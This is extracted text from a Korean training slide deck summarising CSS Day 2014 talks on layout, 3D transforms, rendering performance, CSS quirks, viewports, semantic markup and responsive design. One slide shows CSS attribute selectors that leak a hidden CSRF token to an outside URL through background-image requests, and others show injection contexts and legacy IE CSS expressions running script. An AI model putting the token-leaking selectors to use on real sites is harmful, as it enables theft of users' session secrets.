[전파교육] css day 2014

CSS Day 2014, 4th of June, Amsterdam

NHN Technology ServicesUIT개발실 민경환

Web Conferences Amsterdam

Organises deep diving web conferences and workshops, in Amsterdam, with a strong focus on content.

We (PPK, Krijn Hoetmer, Stephen Hay and Martijn van Duuren) combine deep knowledge of the (mobile) web

with the necessary organisational skills.

Conferences so far

dsgnday, @dsgndayconfCSS Day, @cssdayconf

CSS Day 2014CSS Day 2013Mobilism, @mobilismconfMobilism 2013Mobilism 2012Mobilism 2011PhoneGap Day EUPhoneGap Day EU 2013PhoneGap Day EU 2012

#speackers {

Tab Atkins: "layout";

Ana Tudor: "3d transforms";

David Baron: "animations";

Mathias Bynens: "fun facts";

Peter-Paul Koch: "viewports";

Heydon Pickering: "effortless style";

Ethan Marcotte: "responsive design";

}

Our MC, Stephen Hay

Session 1 - LAYOUT

display : box

display : flexbox

display : flex

WD-css3-flexbox-20090723/ :



http://codepen.io/korearice/pen/rsgyGhttp://codepen.io/korearice/pen/uKoeL

내비게이션practi

ce

http://thesassway.com/advanced/inverse-trigonometric-functions-with-sass




http://codepen.io/korearice/pen/fKjpxhttp://codepen.io/korearice/pen/nGczj

채팅창practi

ce





http://codepen.io/korearice/pen/GvnEFhttp://codepen.io/korearice/pen/kgHrG

드랍다운 메뉴practi

ce

http://codepen.io/korearice/pen/GvnEF

http://codepen.io/korearice/pen/GvnEF





http://codepen.io/korearice/pen/dlGhc/http://codepen.io/korearice/pen/IEuCs

플렉서블 레이아웃practi

ce

http://codepen.io/korearice/pen/dlGhc/




http://codepen.io/korearice/full/CDasF

Sortingpracti

ce



body { display:grid; grid-template: “logo header header” “logo nav nav” “news text pics” “news footer footer”}

#logo { grid-template: logo;}#header { grid-template: header;}#nav { grid-template: nav;}

key p

oint

• 레이아웃은 알고리즘화 되야한다

• 그리드를 먼저 계산해라

• UI 인터랙션을 고민하라

• 하위 브라우저는 고정 레이아웃으로

• 응용 사례를 확보하자

Session 2 - 3D TRANSFORMS

입체 피라미드 만들기간단한 수학공식을 이해한다

이등변 / 정 삼각형을 만든다

입체 피라미드를 쪼갠다

삼각형을 조합 / 변형하여 입체 피라미드를 완성한다

피타고라스의 정리 삼각함수

트랜스폼 속성 이해practi

ce

cos(α) = (l / 2) / (m / 2)

cos(α) = l / m

tan(α) = d / (l / 2)

스큐적용 후 변의 길이• 스큐의 각 = 평행사변형의 90°± α

• 스큐의 좌표 값 변화

skewX() : (x, y) → （x + α, y）

skewY() : (x, y) → （x, y + α）

• 좌표의 이동거리 계산

skewX() : α = y * tan(α)

skewY() : α = x * tan(α)

중심각, 내접원, 외접원

n = 다각형의 개수

β = 360°/n

sin(β/2) = (l/2) / R

→ R = (l/2) / sin(β/2)

tan(β/2) = (l/2) / r

→ r = (l/2) / tan(β/2)

중심각, 내접원, 외접원

삼각형 만들기practi

ce

입체 피라미드 만들기

우리가 알고 있는 것들

• 밑받침 도형의 모서리 길이

• 피라미드 옆면 삼각형의 모서리 길이

• 피라미드 내접원의 반지름

우리가 알아내야 할 것들

• 옆면 삼각형의 중심각

• 피라미드 단면의 측면각

• 피라미드의 높이

피라미드 옆면

아크사인 계산로직http://thesassway.com/advanced/inverse-trigonometric-functions-with-sass



피라미드 단면

입체 피라미드의 구성

• 밑받침 도형의 모서리 길이 : 1

• 밑받침 도형의 꼭지점 각 : 72°

• 피라미드 내접원의 반지름 : .69 * 1

• 피라미드 높이 : ~1/4

• 옆면 삼각형의 높이 : ~.73 * 1

• 옆면 삼각형의 모서리 : .89 * 1

• 옆면 삼각형의 상단 꼭지점 각 : ~2 * asin(.5/1.1) ≅ 53.77°

• 단면 삼각형의 옆 꼭지점 각 : 19.92°

피라미드 만들기practi

ce

http://codepen.io/thebabydino/pen/kpCyx

samp

leTo do...



key p

oint

• 모든 다각형은 삼각형으로 부터 시작한다

• 다각형과 입체모형을 어떻게 쪼갤 것인가?

• 각과 모서리의 길이를 확보한다

• CSS 전처리기를 활용하자

• transform 전문인력 양성

Session 3 - ANIMATION

렌더링 절차

html, svg, etc Content Tree/ Dom Tree

Construct(incl, selector

matching)

Redering Tree/ Frame Tree

(incl, Style)

Paint

Layer

Composite

Screen

Script

CSS

Parse

Dom API

CSSOM API

파싱html

head body

div

h1 p

title

“Web browser’s p..”

“Web browser’s p..” “This is...”

렌더 트리 (프레임 트리)

html

head body

div

h1 p

title

“Web browser’s p..”

“Web browser’s p..” “This is...”

View port

Scroll

Block

Block

Block

Block Block

Text Text

Document

렌더링 절차

html, svg, etc Content Tree/ Dom Tree

Construct(incl, selector

matching)

Redering Tree/ Frame Tree

(incl, Style)

Paint

Layer

Composite

Screen

Script

CSS

Parse

Dom API

CSSOM API

레이어 트레이드 오프페이지에 따라 레이어가 성능에 미치는 영향이 다를 수 있다

지속적인 프로파일링을 통해 레이어 생성 시점을 탐색하는 것이 중요하다

• 레이어가 적을 경우

요소를 repaint하는 비용이 많이 발생한다

• 레이어가 많을 경우

메모리를 많이 차지한다

각 요소들의 스타일을 병합하는 비용이 많이 발생한다

레이어로 병합하는 것에 대한 성능은 브라우저마다 다를 수 있다

렌더링 최적화렌더링 최적화는 렌더링 절차를 최소화 하는 것이다

• 렌더링 최적화가 안된 경우

모든 요소의 Dom style을 다시 계산할 수 있다

• 최적화된 렌더링

전체 렌더링 과정을 생략할 수 있다

부분별 렌더링 과정을 생략할 수 있다

바뀐 부분을 다시 병합할 수 있다

단계 건너뛰기

Content Matchselectors

Computestyle

Contructframes

LayoutPaintComposite

DOM

Special-caseoptimizations

콜레싱 (Coalescing)특정 요소에 여러번의 리플로우가 필요할 때 매번 실행하지 않고

변경사항에 대한 큐(대기열)를 설정 후 한번만 실행한다

시간이 경과하거나 변경횟수가 도달했을 때 큐(대기열)를 플러시 하기도 한다

• 같은 요소를 두번 변경한 경우

element.style.position = "absolute";

element.style.overflow = "auto";

• 자신을 통해 다른 요소를 핸들링한 경우

element.style.backgroundColor = "aqua";

element.parentNode.style.backgroundColor = "white";

콜레싱 (Coalescing)특정 스크립트는 리플로우 최적화를 막기도 하고

큐(대기열)를 플러시한 상태인데도 모든 변경사항을 실행한다

• 리플로우 최적화를 방해하는 속성

offset/scroll/client + Top/Left/Width/Height getComputedStyle() or currentStyle;

• 절대로 하지 말 것

for (var i = 0; i < n; ++i) { var photo = document.getElementById("photo" + i); var label = document.getElementById("label" + i); label.style.top = photo.offsetHeight + "px"; }

콜레싱 (Coalescing)


Computestyle

Contructframes


DOM


CSS 트랜지션

:link {

background-color: #c33;

color: white;

transition: background-color 600ms ease;

}

:link:hover { background-color: #c00; }

CSS 애니메이션 @keyframes bounce { from { transform: translateY(0em) } to { transform: translateY(-2em) } }

#ball { width: 0.5em; height: 0.5em; background: orange; border-radius: 50%; animation: bounce 600ms infinite alternate cubic-bezier(0.7, 0, 1, 1); }

애니메이션 렌더링 절차


Computestyle

Contructframes


(most)Animations

DOM


everytick

CSS 애니메이션 특징CSS 애니메이션은 아래와 같은 특징이 있다

• 스크립트를 사용하지 않아도 된다

• 콜레싱(Coalescing)이 깨질 걱정을 안해도 된다

• opacity, transform 속성 사용시 애니메이션 컴포지터를 사용할 수 있다

• 렌더링 프로세스를 단축할 수 있다

애니메이션 컴포지터 사용


Computestyle

Contructframes


(most)Animations

DOM


CompositerAnimations

everytick

firsttick

everytick

key p

oint

• reflow와 레이어를 최적화 하자

• 애니메이션은 opacity / transform를 사용하자

• 브라우저마다 다를 수 있다

• 그러므로 끊임없이 프로파일링을 해야한다

Session 4 - FUN FACT

!important

.foo .bar { color: red;}.bar { color: green !important;}

요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때

!important 속성을 사용한다

!important

.foo .bar { color: red;}.bar.bar.bar.bar.bar { color: green;}

요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때

!important 속성을 사용한다

Font family names in CSS

html {

font-family: ‘Comic Sans MS’;

}

폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을

따옴표로 묶어줘야 한다


html {

font-family: Comic Sans MS;

}

폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을

따옴표로 묶어줘야 한다


html {

font-family: 456bereastreet;

}

그러므로 모든 폰트 패밀리 속성은 따옴표 없이 사용해도 된다


html { font-family: \34 56bereastreet;}html { font-family: ‘456bereastreet’;}

첫 글자가 숫자일 경우는 escape 문법을 사용하거나

따옴표를 사용한다

Attribute values

<a href=”foo”>permalink</a><style>a[href=”foo”] { background: hotpink}</style>

속성 선택자를 사용시 따옴표를 써야한다

Unquoted attribute values

<a href=foo>permalink</a><style>a[href=foo] { background: hotpink}</style>

속성 선택자를 사용시 따옴표를 쓰지 않아도 된다

Unquoted attribute values

<a href=foo?bar>permalink</a><style>a[href=foo?bar] { background: hotpink}</style>

속성 선택자를 사용시 따옴표를 쓰지 않아도 된다

속성에 특수문자가 있으면 속성 선택자에 반드시 따옴표를 써야한다

CSS comments

.some-selector {

background: hotpink;

/* color: red; */

text-align: center;

}

CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만 한다

CSS comments

.some-selector {


// color: red;

text-align: center;

}


싱글 라인 코멘트(//)도 쓸 수 있다

CSS comments

.some-selector {


colour: red;

text-align: center;

}


잘못된 속성명으로도 주석 효과를 낼 수 있다

Valid HTML

<!DOCTYPE html><html> <head> <title>foo</title> </head> <body> ... </body></html>

html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다

Valid HTML

<!DOCTYPE html><html><head> <title>hul?</title><body>...


Valid HTML

<!DOCTYPE html><title>hul?</title>...


Classes and IDs in HTML

<p class="#">Foo.</p><p class="##">Bar.</p><p class="♥">Baz.</p><p class="©">Inga.</p><p class="{}">Lorem.</p><p class="“‘’”">Ipsum.</p><p class="#id">Good luck styling me!</p><p class=".class">heh</p><p class="#id.class:hover{}">huh</p>

아이디나 클래스 명칭은 특수문자로 쓸 수 없다

Classes and IDs in HTML

#\#id { }

.\.class { }

#\#id\.class\:hover\ {\} { }

#\#id\.class\3A hover\ {\} { }

.\[attr\=\‘value\’\] { }

#\34 04-error { }

아이디나 클래스 명칭은 특수문자로 쓸 수 없다

<p id=”#id”>

<p class=”.class”>

<p id=”#id.class:hover{}”>

<p class=”[attr=‘value’]”>

<p id=”404-error”>

Escaping CSS selectors특수문자로 된 셀렉터는 CSS.escape()속성을 사용한다

var $el = $(‘#’ + CSS.escape(location.hash));

// ...

var $a = $(‘a[href=”’ + CSS.escape(someValue)) + ‘“]’);

// ...

Injection contexts

<style> p { color: <%= USER_COLOR %>;}</style><p> Hello <%= USER_NAME %> <a href=” <%= USER_URL %>”>View your account</a>.</p><script> window.userID = <%= USER_ID %>;</script>

스타일을 동적으로 관리하기 위해 서버데이터를 받아올 수 있다

Stealing data from the Dom

<input type=”hidden”

name=”csrf-token”

id=”csrf”

value=”abcdef...”>

요소의 속성값을 이용해 스타일을 변경할 수 있다

#csrf[value^=”a”] { background:url(/abc.com/?v=a)}#csrf[value^=”b”] { background:url(/abc.com/?v=b)}#csrf[value^=”c”] { background:url(/abc.com/?v=c)}

CSS Expressions in ≤ IE7CSS Expressions는 IE5 ~ IE7까지 지원된다

#myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2 ); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2 );}

CSS Expressions in ≤ IE7IE5 ~ IE 7 에선 CSS로 alert을 띄운다

* {

width: expressions(

alert(‘Can I use?’);

);

}

CSS Expressions in ≤ IE7alert을 한번만 띄우려면?

* { width: expressions( if (!window.done) alert(‘Can I use?’), window.done=1 );}

CSS Expressions in ≤ IE7새창도 가능하다

* {

WIT: expressions(

if (!window.done)

alert(‘UIT개발실 블로그’);

open(‘http://wit.nts-corp.com’),

window.done=1

);

}

http://wit.nts-corp.com

http://wit.nts-corp.com

key p

oint

• 때로는 엽기 코딩이 뜻밖의 결과를 가져온다

• 왜인지 알고 쓰자

• 코딩 컨벤션 한번 점검해야하지 않을까?

• IE 5/6/7 너무 무시하지 말자

Session 5 - VIEW PORT

A pixel is not a pixel

픽셀의 종류픽셀에는 세종류가 있다

• CSS 픽셀 (CSS Pixel)

CSS픽셀은 우리가 CSS에서 흔히 선언하는 width:190px이나

padding-left:20px과 같은 픽셀 단위이다

• 디바이스 픽셀 (Device Pixel)

디바이스의 물리적 픽셀. 디바이스 종류에 따라 크기는 다를 수 있다

• 밀도 독립 픽셀(Density-independent Pixel)

기기의 물리적 픽셀에 영향받지 않고 독립적 크기를 지정할 수 있는

가상적 픽셀단위이다

뷰포트의 종류뷰포트에는 두종류가 있다

• 레이아웃 뷰포트(layout viewport)

모바일기기의 기본적으로 레이아웃 뷰포트 사이즈는 768px~1024px 이다.

대부분 980px 사이즈를 많이 사용한다

많은 기술을 이용하여 레이아웃 뷰포트 사이즈를 재정의할 수 있다

• 비주얼 뷰포트 (visual viewport)

전체 페이지에서 현재 화면에 보이는 영역이다

레이아웃 뷰포트를 완전히 zoom out 상태에서 나타낼 수 있는 크기이다

뷰포트 사이즈 측정

document.documentElement.clientWidth

document.documentElement.clientHeight

document.documentElement.clientWidth

• 레이아웃 뷰포트

모든 디바이스에서 동작한다

window.innerWidth

window.innerHeight

• 비주얼 뷰포트

안드로이드 2, 오페라 미니, UC8에선 다른 값을 반환한다

아이디얼 뷰포트(ideal viewport)모바일 디바이스는 데스크탑과 다르게 아이디얼 뷰포트를 가지고 있다

• 모바일 브라우저 벤더는 모든 웹을 디바이스에 최적화시키려 한다

• 그래서 화면을 키우고 줄이는 수고를 덜 수 있다

• 따라서 사용자는 최적화된 콘텐츠를 읽을 수 있다

• 아이디얼 뷰포트는 디바이스에 최적화된 사이즈를 갖고 있다

• 화면에 보이는 본질적인 width/height 값이다

아이디얼 뷰포트 사이즈 측정

screen.width

screen.height

• 아이디얼 뷰포트

몇몇의 브라우저는 screen.width/height를 아이디얼뷰포트 면적으로 계산한다

하지만 그 외의 브라우저는 디바이스의 픽셀수를 계산한다

메타 뷰포트메타뷰포트로 레이아웃 뷰포트 사이즈를 아이디얼 뷰포트에 맞게 설정한다

• 픽셀단위의 너비값을 설정할 수 있다 (width=400)

• 아이디얼 뷰포트 사이즈를 넣을 수도 있다

메타 뷰포트메타 뷰포트는 픽셀과 아이디얼뷰포트 비율로 설정할 수 있다

<meta name=”viewport” content=”width=device-width”>

<meta name=”viewport” content=”width=320”>

<meta name=”viewport” content=”initial-scale = 1”>

<meta name=”viewport” content=”initial-scale = 2”>

<meta name=”viewport” content=”width=400, initial-scale = 1”>

<meta name=”viewport” content=”width=device-width,

initial-scale = 1”>

메타 뷰포트 - CSSCSS로 뷰포트를 설정할 수 있다

오페라에서 최초 개발되었고 현재는 IE10/11만 지원한다

@media screen and (min-width: 640px) and (max-width: 1024px) {

@-ms-viewport { width: 640px; }

...

}

미디어쿼리미디어쿼리 사용시 고려해야 할 중요한 두가지가 있다

• device-width (min-device-width and max-device-width)

screen.width와 같은 결과값이다

하지만 몇몇의 기기에선 디바이스의 픽셀수를 나타낸다

• width (min-width and max width)

아이디얼 뷰포트와 동일한 결과값을 얻을 수 있다

@media all and (max-width: 600px) {...}

픽셀 비율디바이스의 픽셀수와 아이디얼 뷰포트 사이즈의 비율을 나타낸다

if (window.devicePixelRatio >= 2)

@media all and (

(-webkit-min-device-pixel-ratio: 2),

(min-resolution: 192dpi),

)

key p

oint

• 레이아웃 뷰포트를 아이디얼 뷰포트에 맞춘다

• 자바스크립트로 뷰포트를 측정할 때 디바이스마다

조금씩 다를 수 있다

• 미디어 쿼리로 사이즈를 지정할 때 고정 사이즈 대신

범위 단위로 선언한다 (min/max-width)

Session 6 - EFFORTLESS STYLE

시멘틱 마크업컴퓨터 프로그램이 웹문서 안의 어떤 정보가 어떤 의미를 가지는지

잘 알아볼 수 있도록 HTML을 작성하는 방법 (의미론적 마크업)

class=” ”

클래식과 시멘틱의 차이클래식 마크업은 요소 의미에 관계없이 클래스에 의존한 마크업이며

시멘틱 마크업은 요소의 의미를 잘 살린 마크업이다

불필요한 클래스는 제거시멘틱 마크업만으로도 원하는 디자인을 표현할 수 있다

상호운용성 (Interoperability)정보처리 관련기기를 이용해서 처리된 정보가 다른 기기 이용자간에 원활하게

교환, 처리 가능한 것을 말하며, 기종이 다른 컴퓨터나 단말기를 연결해서

상호 이용한다는 뜻이다

클래스의 남용시멘틱 마크업을 위해선 클래스 사용을 자제해야한다

• Presentational Markup

• 중복선언이 많아진다

• 다양한 디자인을 표현하기 힘들다

<ul class=”menu”> <li class=”menu__item”>...</li> <li class=”menu__item”>...</li></ul>

클래스 없이 표현 - HTML클래스 없이도 요소를 설명할 수 있는 다양한 방법들이 있다

• Role attribute : 요소의 기능 설명한다

• Type attribute : 요소가 나타내는 기능을 지정한다

(form요소, script, embed, param 등)

• Control Types : 폼요소들의 동작 상태를 표시한다

<button role=”시작버튼”>...</button>

<input type=”checkbox”>

<select selected=”selected”>...</select>

클래스 없이 표현 - CSSCSS엔 클래스외에도 요소를 선택할 수 있는 다양한 셀렉터가 있다

• Relationship selector : 다음요소를 선택할 수 있다

• Attribute selector : 속성 선택자

• nth-child() selector : 수도 클래스이며 n번째 자녀를 선택할 수 있다

button[role=”tab”] { background-color: purple;}

[role=”tab”][aria-selected=”true”] { background-color: white; color: black;}

#wrap > * + * { margin-top:20px}A “relationship” selector

20px

20px

20px

:nth-child(3n+1) : last-child

7

~ ~

3 items in last row

nth-last-child(3), nth-last-child(3) ~ li

desired width : 100% / 3

@for $i from l through $cols { li:nth-child(#{$cols}n+1):nth-last-child(#{$i}) { width: 100% / $i; & ~ li { width: 100% / $i; } }}

$cols = 3(or whatever)

payment page

a[href^=”https”] { background-image:url(img/lock.png);}

External page

a[href^="http:"]:not(href*=”this-domain.com”) {

background-image:url(img/ico_external.png);

}

key p

oint

• 의미에 맞는 태그를 썼으니 클래스는 남용해도

상관없다?

• html 문서 가독성도 시멘틱의 일부이다

• 우리에게 클래스는 마크업 개발자와 프론트엔드

개발자의 영역을 명확하게 구분할 수 있는 중요한

열쇠이다

• 유지보수가 먼저일까? 시멘틱이 먼저일까?

Session 7 - RESPONSIVE DESIGN

반응형 웹 구축 순서

1 2 3 4

Width(폭)

Hierarchy(계층)

Interaction(상호작용)

Density(밀도)

1 2 3 4

Width Hierarchy Interaction Density

940px

220px

742px

174px

좌측메뉴 너비 : 220 x 100 / 940 = 23%

본문 너비 : 720 x 100 / 940 = 77%

http://tattly.com/

http://mediaqueri.es/


1 2 3 4

http://tattly.com/




1 2 3 4

http://codepen.io/bradfrost/full/qwJvF




1 2 3 4

http://www.bostonglobe.com/




http://bradfrost.github.io/this-is-responsive/patterns.html






스타벅스

스타일 가이드

http://www.starbucks.com/static/reference/styleguide/



http://www.slideshare.net/deview/1openseminar



key p

oint

• 때로는 게을러져야 한다

• 버릴건 과감히 버리자

• 개발자들이 더욱 적극적으로 커뮤니케이션을

이끌어야 한다

• 당신이 보는 화면이 끝이 아니다.

• 더 많이 테스트하라

http://cssday.nl/2014



[전파교육] css day 2014

Internet